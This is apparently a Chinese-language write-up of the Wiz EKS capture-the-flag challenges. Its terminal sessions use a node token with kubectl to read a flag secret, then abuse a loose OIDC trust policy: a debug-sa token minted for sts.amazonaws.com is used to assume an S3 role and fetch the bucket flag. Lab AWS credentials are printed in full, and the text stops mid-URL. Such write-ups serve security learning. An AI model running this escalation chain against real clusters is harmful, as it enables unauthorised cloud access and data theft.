1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 root@wiz-eks-challenge:~# kubectl auth can-i --list --token k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk1VQUlPR1VQWiUyRjIwMjQwMzA1JTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDAzMDVUMDYyMDA3WiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFS0QlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkZ3RWFERGNWM2FueWVFb2xoJTJGazlSU0szQVkzSVZtZ0p0UWVwaWxmdzlTSktmOCUyQlVZb2ZOYTBhZlJYJTJCYVhaak43eW55UXJuWUZMdElsNmVhSUs4JTJCVVVOWGpVeG9QdjFhMUE0T3luM3JmUVA0TCUyQlBMb2M5dyUyQnhRRHZ2bTJnQ1pLSyUyQmNDckxoU0lwdzRGbWRVYzFJMWx4N2EzdEl2b2xHN05pR3ZVSkNyZlJlUGdQRXgzODhPeXl1M01iRGVLNjh1UHVTMzFWMUhUbTRYUWRHQWVCYWpwOGFVc21sdEZ0NkFONzU5elROMldWeXhOZm54SHIxOG1nZHA2djQ4ZGU3dzl3dSUyRjc2ZzZrRGQxUkNpNzhKcXZCakl0TEpWSjJkb0pKcGVVcldnQU5OdGpVNnRBV1Z2UiUyQlRFeDdWbTZFcVNZeSUyQnFKT1U3cHAxSU5NdjZxdVBFbSZYLUFtei1TaWduYXR1cmU9NWZkZTMwMGUyNTZkNmI5Zjg4NjM2ODQwYzc5YjNhOTUyOTYzNmY4Y2ZlZGM5YmMzN2ZiMDE3YmZiMGM2MzRjNg warning: the list may be incomplete: webhook authorizer does not support user rule resolution Resources Non-Resource URLs Resource Names Verbs serviceaccounts/token [] [debug-sa] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] pods [] [] [get list] secrets [] [] [get list] serviceaccounts [] [] [get list] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get] podsecuritypolicies.policy [] [eks.privileged] [use]
方法二:初始化kubeconfig
另一种方式就是直接把对应的cluster权限写入本地的kubeconfig,但这里发现我们的node iam角色并没有对arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster这个资源的权限,也有可能是这个cluster资源的名字不对。
1 2 3 root@wiz-eks-challenge:~# aws eks update-kubeconfig --name eks-challenge-cluster An error occurred (AccessDeniedException) when calling the DescribeCluster operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: eks:DescribeCluster on resource: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster
总之最终就是拿到了kubectl的权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 root@wiz-eks-challenge:~# alias kubectl="kubectl --token k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk01WFZORUhOQiUyRjIwMjQwMzA1JTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDAzMDVUMDY1MjU0WiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFS0QlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkZ3RWFESFhuY29ETVNqTDljVDdJNkNLM0FiJTJCNVdkcEpDb1hzc3R6MEREUDhSNUR4JTJCQVpLb0pQa3I4emQlMkZOZDM4RUk1R0hHTUx5SEx5dWJReEY2TVpMQ3c3RTRnQUtLQVlycHIlMkIzSmUlMkZYbmlld0VZcWIxS2xPZ0pVSkZkMlRZWnp1YlFUZmV5dDZrRGMlMkZWZW1CblB2R1hHaXNIQ0I2Q3ljaFBDdDg4WnJlJTJCYXhoZ2E0TDFFN2ZTbnloYzh4Z3RJT1NwZWhWVUFJOUd6MGtwYTVJSHk3eG9KZ2FUck0zOEhPRmNXOHl5OXNlVTQyQ3g1JTJCQUxBeWF0OU9HOTJJTTZIZGRJOEQ5d3dZWGUzZXlpWSUyRnBxdkJqSXROZUpBRU0lMkYyVjBFSTJ6NlFlVDhkVkg1UDVGcUhyNnhMWmxDTkhldVh4WENGWkN1MGpHUEJxS0lGWkF4UyZYLUFtei1TaWduYXR1cmU9YTg3MDlkMmI0NzU5OTEyMTM1MThkMDA4MDE0MTE3MDlkMzFkNWU1NzIwZTQyMmIwNTc3OTE2ODA2ZDA4NTU5Ng" root@wiz-eks-challenge:~# kubectl get pods No resources found in challenge4 namespace. root@wiz-eks-challenge:~# kubectl get sa NAME SECRETS AGE default 0 125d service-account-challenge4 0 125d root@wiz-eks-challenge:~# kubectl get secrets NAME TYPE DATA AGE node-flag Opaque 1 124d root@wiz-eks-challenge:~# kubectl get secret node-flag -o yaml apiVersion: v1 data: flag: d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3JlYWxfcHJvX2Nhbl9uYXZpZ2F0ZV9JTURTX3RvX0VLU19jb25ncmF0c30= kind: Secret metadata: creationTimestamp: "2023-11-01T12:27:57Z" name: node-flag namespace: challenge4 resourceVersion: "883574" uid: 26461a29-ec72-40e1-adc7-99128ce664f7 type: Opaque
In this task, you’ve acquired the Node’s service account credentials. For future reference, these credentials will be conveniently accessible in the pod for you.
Fun fact: The misconfiguration highlighted in this challenge is a common occurrence, and the same technique can be applied to any EKS cluster that doesn’t enforce IMDSv2 hop limit.
Container Secrets Infrastructure
You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?
本题的iam如下,这是一个基于身份的策略,也就是我们要获取的目标aws凭证的角色的权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 { "Policy": { "Statement": [ { "Action": [ "s3:GetObject", "s3:ListBucket" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::challenge-flag-bucket-3ff1ae2", "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag" ] } ], "Version": "2012-10-17" } }
这个IAM是用来配置角色信任和权限的,经过了web身份认证的可以调用sts:AssumeRoleWithWebIdentity来获取凭证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589" }, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringEquals": { "oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com" } } } ] }
接下来是本题的kube权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { "secrets": [ "get", "list" ], "serviceaccounts": [ "get", "list" ], "pods": [ "get", "list" ], "serviceaccounts/token": [ "create" ] }
这题的场景也就是上一题的后续利用,我们成功获取到了kube权限后,发现可以创建sa,我们需要拿到一个更高权限的aws凭证来访问存储桶。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 root@wiz-eks-challenge:~# aws sts get-caller-identity { "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282", "Account": "688655246681", "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282" } root@wiz-eks-challenge:~# kubectl whoami system:node:challenge:ip-192-168-21-50.us-west-1.compute.internal root@wiz-eks-challenge:~# kubectl auth can-i --list warning: the list may be incomplete: webhook authorizer does not support user rule resolution Resources Non-Resource URLs Resource Names Verbs serviceaccounts/token [] [debug-sa] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] pods [] [] [get list] secrets [] [] [get list] serviceaccounts [] [] [get list] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get] podsecuritypolicies.policy [] [eks.privileged] [use]
把能list的都list一下,发现这里有个s3access-sa
1 2 3 4 5 6 7 8 9 root@wiz-eks-challenge:~# kubectl get sa NAME SECRETS AGE debug-sa 0 125d default 0 125d s3access-sa 0 125d root@wiz-eks-challenge:~# kubectl get pods No resources found in challenge5 namespace. root@wiz-eks-challenge:~# kubectl get secrets No resources found in challenge5 namespace.
看看详细信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 root@wiz-eks-challenge:~# kubectl get sa -o yaml apiVersion: v1 items: - apiVersion: v1 kind: ServiceAccount metadata: annotations: description: This is a dummy service account with empty policy attached eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e creationTimestamp: "2023-10-31T20:07:37Z" name: debug-sa namespace: challenge5 resourceVersion: "671929" uid: 6cb6024a-c4da-47a9-9050-59c8c7079904 - apiVersion: v1 kind: ServiceAccount metadata: creationTimestamp: "2023-10-31T20:07:11Z" name: default namespace: challenge5 resourceVersion: "671804" uid: 77bd3db6-3642-40d5-b8c1-14fa1b0cba8c - apiVersion: v1 kind: ServiceAccount metadata: annotations: eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role creationTimestamp: "2023-10-31T20:07:34Z" name: s3access-sa namespace: challenge5 resourceVersion: "671916" uid: 86e44c49-b05a-4ebe-800b-45183a6ebbda kind: List metadata: resourceVersion: ""
怎么利用这些sa来获取他们对应角色的凭证呢,这里可以使用前面的oidc认证,类似于IAM挑战中的某一关,认证成功后,使用认证的token来获取aws凭证,格式如下
1 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name A.R. --web-identity-token xxxx
那么现在我们需要证明我们获取了对应的身份,也就是必须拿到合法的token,可以使用kubectl中的命令来获取token,但这里只能拿到debug-sa的token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 root@wiz-eks-challenge:~# kubectl create token debug-sa eyJhbGciOiJSUzI1NiIsImtpZCI6IjJhYjQyMjYxMjFjNzAyMjdkMWEwZWViZDlkZmQ5MTcyNDU4MGIwYjYifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIl0sImV4cCI6MTcwOTYzMDk0OSwiaWF0IjoxNzA5NjI3MzQ5LCJpc3MiOiJodHRwczovL29pZGMuZWtzLnVzLXdlc3QtMS5hbWF6b25hd3MuY29tL2lkL0MwNjJDMjA3QzhGNTBERTRFQzI0QTM3MkZGNjBFNTg5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJjaGFsbGVuZ2U1Iiwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlYnVnLXNhIiwidWlkIjoiNmNiNjAyNGEtYzRkYS00N2E5LTkwNTAtNTljOGM3MDc5OTA0In19LCJuYmYiOjE3MDk2MjczNDksInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjaGFsbGVuZ2U1OmRlYnVnLXNhIn0.RoP7ST8cmwUVpSDxvxYqjj34-VsN_aHNiTxstyGXVPIX4tWy5F-6snRzklYFN5JWra_MZjYWkKqpxQUMQFt8Jc1bvSSYJRZbiD3WiBswNrkcVH1EUzxq38-UxWCpLlv3XGMunb8saeMJXmBI32Gze4orpJdkm2vY0ilS1ykZhesbyClRiPq3fgB4-CbvUss7si_Nni5GPKlHWt5xGbBuXRYgQi_cqW4n4T0l5c4q5a8DOX4xa2sJITHwo-0aSQLJnawYMERSqanMuC72cvvcY44MOGW6Vgc6y5zAHNpHFfiTWac1laL3xLxl2aC3BMPVP-M1Ak3kJienozCjinkPGw { "aud": [ "https://kubernetes.default.svc" ], "exp": 1709630949, "iat": 1709627349, "iss": "https://oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589", "kubernetes.io": { "namespace": "challenge5", "serviceaccount": { "name": "debug-sa", "uid": "6cb6024a-c4da-47a9-9050-59c8c7079904" } }, "nbf": 1709627349, "sub": "system:serviceaccount:challenge5:debug-sa" }
这个token中的aud为https://kubernetes.default.svc
,不符合前面iam中的限制,我们可以指定参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 root@wiz-eks-challenge:~# kubectl create token debug-sa --audience "sts.amazonaws.com" eyJhbGciOiJSUzI1NiIsImtpZCI6IjJhYjQyMjYxMjFjNzAyMjdkMWEwZWViZDlkZmQ5MTcyNDU4MGIwYjYifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNzA5NjMxMDg3LCJpYXQiOjE3MDk2Mjc0ODcsImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTcwOTYyNzQ4Nywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.BcwtnF059vuh2pRz81EqByzywpCnyGcGRuYR9lP2TI9AMBOIVFOff1SJL2Z2VFF0eWp670LmvvZZ0DgnYdcjlauuSEs9tNekDgQ272eG7XsIfVZ6n5eWqyTTj8Wj3128Y7DW9pm9DAeyy5MKHPGInAUiyAzvxdesldxpT7_IlOWlUKykgwpcmkWKL0aPceWUNM9zN-8F1e0yCMJAe8z8nfwICwd3b0VbWKOUDCCx-LGMff83PzRJRL0ioOuvsuQlL3ylN4LkBCaH5XcOORjH9WVYldCN-IHiSUKXl7WcTSRpAYc0u3TiuzIaXoHqd2vJN25MIfcy6b8vZWeTnId3mw { "aud": [ "sts.amazonaws.com" ], "exp": 1709631087, "iat": 1709627487, "iss": "https://oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589", "kubernetes.io": { "namespace": "challenge5", "serviceaccount": { "name": "debug-sa", "uid": "6cb6024a-c4da-47a9-9050-59c8c7079904" } }, "nbf": 1709627487, "sub": "system:serviceaccount:challenge5:debug-sa" }
我们拿着这个token去使用assume-role-with-web-identity即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 root@wiz-eks-challenge:~# aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e --role-session-name A.R. --web-identity-token eyJhbGciOiJSUzI1NiIsImtpZCI6IjJhYjQyMjYxMjFjNzAyMjdkMWEwZWViZDlkZmQ5MTcyNDU4MGIwYjYifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNzA5NjMxMDg3LCJpYXQiOjE3MDk2Mjc0ODcsImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTcwOTYyNzQ4Nywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.BcwtnF059vuh2pRz81EqByzywpCnyGcGRuYR9lP2TI9AMBOIVFOff1SJL2Z2VFF0eWp670LmvvZZ0DgnYdcjlauuSEs9tNekDgQ272eG7XsIfVZ6n5eWqyTTj8Wj3128Y7DW9pm9DAeyy5MKHPGInAUiyAzvxdesldxpT7_IlOWlUKykgwpcmkWKL0aPceWUNM9zN-8F1e0yCMJAe8z8nfwICwd3b0VbWKOUDCCx-LGMff83PzRJRL0ioOuvsuQlL3ylN4LkBCaH5XcOORjH9WVYldCN-IHiSUKXl7WcTSRpAYc0u3TiuzIaXoHqd2vJN25MIfcy6b8vZWeTnId3mw { "Credentials": { "AccessKeyId": "ASIA2AVYNEVMVLPTENL4", "SecretAccessKey": "t13ENg14zH7N08ihHUaZECOuGKxwA5bIt0ULyJWG", "SessionToken": "IQoJb3JpZ2luX2VjEJH//////////wEaCXVzLXdlc3QtMSJGMEQCIGSPyjiZ5s1cQa8y6Uq/lTWaqGT+MM4QsZlgMNHoUgRlAiBCMQl+O/3qHphDegpvWpfmFZTGS8aNG78pmlhLNvlOIyq+BAiK//////////8BEAAaDDY4ODY1NTI0NjY4MSIMweCtlsFJgupznQ1hKpIEjyzz6VtQ/pwftSKNdW7Rfc88a+k96X2eivlQrOwIklikfzF7Fa3eS11M5244WScN0Eltu9Mb84FmcgOc2XpJ1sJGBG/jJ7ALTHyP3gpLqG4MmXVWE/tWg5xv/3t1Sifs2rfP6MOSwNbwHZP8NodQzsSvCNB8moZdO1SqUboT+0l7SzEgMd2lKl8MjGX3mo8QxSe05ewVReTDBRQwmVZaxf7BXXP9ppgO7yWWw7MFNb0XeexlzjleEEP9e0FMvs+9C2zTYJWKQ7v3f9CNsVJyLcSzSGlU9v+ano8imA1wponlPbySkdAlR6vbdxvg8stwGIYyr/6H2MbMvuIUnwhnxb1JLzg+kc1MqFGVoh66ysW00sLsZg60K7oC8GcC9OuJOH65hlwpD8sqQ4TwFw72U/hNsWXyyuPhaluiZxdJswyhme8xscJeJ5Ig2PC++Lb5K8FT2Vt46OyzfSvzWFnskJQcsdFeZP+XQdzhx1zEJa5xp9qs5FtM3xqj4lV63/CjH/amr2NMS5Kqf5EBIe9DIEdniXRxMazrIkp3BOk0ToPerlaF5kN3YcjC5VS/fG8dC8FEiXnVJpxO9gy/D9TwBqk77P7wDX60FLl98p/PdSzPDXusWrB7+WNB0h+L2087BCEDKV5ZioiZX4AxZfhXVbUbk2BDcGbn7qCZ+oKarabSEaIHOd/f06Se7KGYVq+a4Skw3rGbrwY6lgE2t5IwmNbvssK2gtNRnqbNlrTNwNibUIY0kEERB7qiVBcqsrqAJtTunYgV0eibuzw60F9P7uVLI+7Tjc1aE+56kQ16EIa7WNDKABk11NRQr33GyAc7bbA5bVrEjv/ELri0YhBck5IxsBT/Zye9pUaTKQ+I29kmmPBIE6B20j2bSgndHWmdzTPLKpH4/q0cdjYOPLeMl1M=", "Expiration": "2024-03-05T09:33:34+00:00" }, "SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa", "AssumedRoleUser": { "AssumedRoleId": "AROA2AVYNEVM6G5PAIL7U:A.R.", "Arn": "arn:aws:sts::688655246681:assumed-role/challengeTestRole-fc9d18e/A.R." }, "Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589", "Audience": "sts.amazonaws.com" }
其实challengeTestRole-fc9d18e这个角色啥权限都没有,那我们不禁会想,我们传入的token中似乎没有任何字段是关联了对应角色的,这里存在潜在的越权问题,任何合法的token都能使用assume-role-with-web-identity,并没有对token中的信息作检验,况且我们的sa和aws role的对应关系也是注释里面写的,那么这里尝试用debug-sa的token去获取arn:aws:iam::688655246681:role/challengeEksS3Role角色
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 root@wiz-eks-challenge:~# aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name A.R. --web-identity-token eyJhbGciOiJSUzI1NiIsImtpZCI6IjJhYjQyMjYxMjFjNzAyMjdkMWEwZWViZDlkZmQ5MTcyNDU4MGIwYjYifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNzA5NjMxMDg3LCJpYXQiOjE3MDk2Mjc0ODcsImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTcwOTYyNzQ4Nywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.BcwtnF059vuh2pRz81EqByzywpCnyGcGRuYR9lP2TI9AMBOIVFOff1SJL2Z2VFF0eWp670LmvvZZ0DgnYdcjlauuSEs9tNekDgQ272eG7XsIfVZ6n5eWqyTTj8Wj3128Y7DW9pm9DAeyy5MKHPGInAUiyAzvxdesldxpT7_IlOWlUKykgwpcmkWKL0aPceWUNM9zN-8F1e0yCMJAe8z8nfwICwd3b0VbWKOUDCCx-LGMff83PzRJRL0ioOuvsuQlL3ylN4LkBCaH5XcOORjH9WVYldCN-IHiSUKXl7WcTSRpAYc0u3TiuzIaXoHqd2vJN25MIfcy6b8vZWeTnId3mw { "Credentials": { "AccessKeyId": "ASIA2AVYNEVM35S7VBEY", "SecretAccessKey": "cGhLof5HAKMR5E2qJdfF8m2DPMtaSS2TH/OU9jX6", "SessionToken": "IQoJb3JpZ2luX2VjEJH//////////wEaCXVzLXdlc3QtMSJIMEYCIQC2VC0m3upS5XEYKABN6pfrowL7KTAQD0xZ9+JaIEZqzAIhALbxXwRHdZlxl/vyWL+jSz/vZVJ2+On9vpfVafOHoPPpKr4ECIr//////////wEQABoMNjg4NjU1MjQ2NjgxIgyJGizp0/TWbUkyhmcqkgTmW0HCcK68KrCOGyXdCtGczODABS8tmDJj7YG46sRBVqNBsFvln8oAW3sdnUz+VIYiDslDTgL+jvzUWR4SmfMaXPF3Ws5C6DbC6aTuHAnNmQ6A5TzSmHEUe80KJLqUbMhmwOT/7aoJoyHWIpS7SSraJj4UNT6oIlE5l52YHgPxYkrhyc4taGiDzqKY4NVkFSUYZA/x1D96CSdBVpsg1gqv5EOLvKDHDCfY/k27DbKlW1dd1u4yqmokrtP16N4evYbVYnr1iWYsV8vwoATONlr+boWyyapNZebFNd6UANXzLml61j+1P7G60S5AwqtyzWlqSHEXsKjcawkA2eWvv/Gz+hcs7Ufaai24WOYOQ8pdGegr6MqeRBbYfziB33gz/SJvDdUxDnAx1gPN13JPHmJKo1ThHO3tieYRwEos2aCpOT7AtSbTx0aob9oK4U8nTdej/vHR3S+0A6QyXg6q+pWYsmKDLUg/sJ7YfzdSFDCbJnrK/JMwQexNmybrKquBVAx1ZF0kU0v6X5BLd5HvicVwrbptlbxwEl74yqStt+38RgWK6YEyQGz1QaPYd9ZrslbZOufZfnJm8R09kS+pf12GVt6Rt8h/FxvdHhbE9z/5UvRX6SKWFpFr7nmQ78sZWswFom5vV8XwnvOI2Yh1+xb3t2rg6jmkozZOYlejqRzxfMGKo9lLX76Toe7/rd7UK5Y2zDCktJuvBjqUAaQ1wUbXoeOm24tmu5WNuBtcnz0FkTu2SyCvvQq6NKqZVnmmZHsvQPlq5VyoISmnUOS9jDwW7yYPWsmozHFdRkXviZ097cPbH34wuai3upsugAM8Sw/Iq67RBKESS3Cqp/0ZXEDXd2ZL3ANVTO4zYo3XwNM1BoU8Yb5HEh5TsRQ6UXEXRa/9d/Fcn+WhVccVQsNElIQ=", "Expiration": "2024-03-05T09:39:00+00:00" }, "SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa", "AssumedRoleUser": { "AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:A.R.", "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/A.R." }, "Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589", "Audience": "sts.amazonaws.com" }
这里并没有验证WebIdentityToken对象的身份导致了越权获取凭证
1 2 3 export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM35S7VBEY export AWS_SECRET_ACCESS_KEY=cGhLof5HAKMR5E2qJdfF8m2DPMtaSS2TH/OU9jX6 export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEJH//////////wEaCXVzLXdlc3QtMSJIMEYCIQC2VC0m3upS5XEYKABN6pfrowL7KTAQD0xZ9+JaIEZqzAIhALbxXwRHdZlxl/vyWL+jSz/vZVJ2+On9vpfVafOHoPPpKr4ECIr//////////wEQABoMNjg4NjU1MjQ2NjgxIgyJGizp0/TWbUkyhmcqkgTmW0HCcK68KrCOGyXdCtGczODABS8tmDJj7YG46sRBVqNBsFvln8oAW3sdnUz+VIYiDslDTgL+jvzUWR4SmfMaXPF3Ws5C6DbC6aTuHAnNmQ6A5TzSmHEUe80KJLqUbMhmwOT/7aoJoyHWIpS7SSraJj4UNT6oIlE5l52YHgPxYkrhyc4taGiDzqKY4NVkFSUYZA/x1D96CSdBVpsg1gqv5EOLvKDHDCfY/k27DbKlW1dd1u4yqmokrtP16N4evYbVYnr1iWYsV8vwoATONlr+boWyyapNZebFNd6UANXzLml61j+1P7G60S5AwqtyzWlqSHEXsKjcawkA2eWvv/Gz+hcs7Ufaai24WOYOQ8pdGegr6MqeRBbYfziB33gz/SJvDdUxDnAx1gPN13JPHmJKo1ThHO3tieYRwEos2aCpOT7AtSbTx0aob9oK4U8nTdej/vHR3S+0A6QyXg6q+pWYsmKDLUg/sJ7YfzdSFDCbJnrK/JMwQexNmybrKquBVAx1ZF0kU0v6X5BLd5HvicVwrbptlbxwEl74yqStt+38RgWK6YEyQGz1QaPYd9ZrslbZOufZfnJm8R09kS+pf12GVt6Rt8h/FxvdHhbE9z/5UvRX6SKWFpFr7nmQ78sZWswFom5vV8XwnvOI2Yh1+xb3t2rg6jmkozZOYlejqRzxfMGKo9lLX76Toe7/rd7UK5Y2zDCktJuvBjqUAaQ1wUbXoeOm24tmu5WNuBtcnz0FkTu2SyCvvQq6NKqZVnmmZHsvQPlq5VyoISmnUOS9jDwW7yYPWsmozHFdRkXviZ097cPbH34wuai3upsugAM8Sw/Iq67RBKESS3Cqp/0ZXEDXd2ZL3ANVTO4zYo3XwNM1BoU8Yb5HEh5TsRQ6UXEXRa/9d/Fcn+WhVccVQsNElIQ=
接着列存储桶,读对象即可
1 2 3 4 root@wiz-eks-challenge:~# aws s3 ls s3://challenge-flag-bucket-3ff1ae2 --recursive 2023-11-01 12:27:55 72 flag root@wiz-eks-challenge:~# aws s3 presign s3://challenge-flag-bucket-3ff1ae2/flag https://challenge-flag-bucket-3ff1ae2.s3.us-west-1.amazonaws.com/flag?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA2AVYNEVM35S7VBEY%2F20240305%2Fus-west-1%2Fs3%2Faws4_request&X-Amz-Date=20240305T084557Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEJH%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLXdlc3QtMSJIMEYCIQC2VC0m3upS5XEYKABN6pfrowL7KTAQD0xZ9%2BJaIEZqzAIhALbxXwRHdZlxl%2FvyWL%2BjSz%2FvZVJ2%2BOn9vpfVafOHoPPpKr4ECIr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMNjg4NjU1MjQ2NjgxIgyJGizp0%2FTWbUkyhmcqkgTmW0HCcK68KrCOGyXdCtGczODABS8tmDJj7YG46sRBVqNBsFvln8oAW3sdnUz%2BVIYiDslDTgL%2BjvzUWR4SmfMaXPF3Ws5C6DbC6aTuHAnNmQ6A5TzSmHEUe80KJLqUbMhmwOT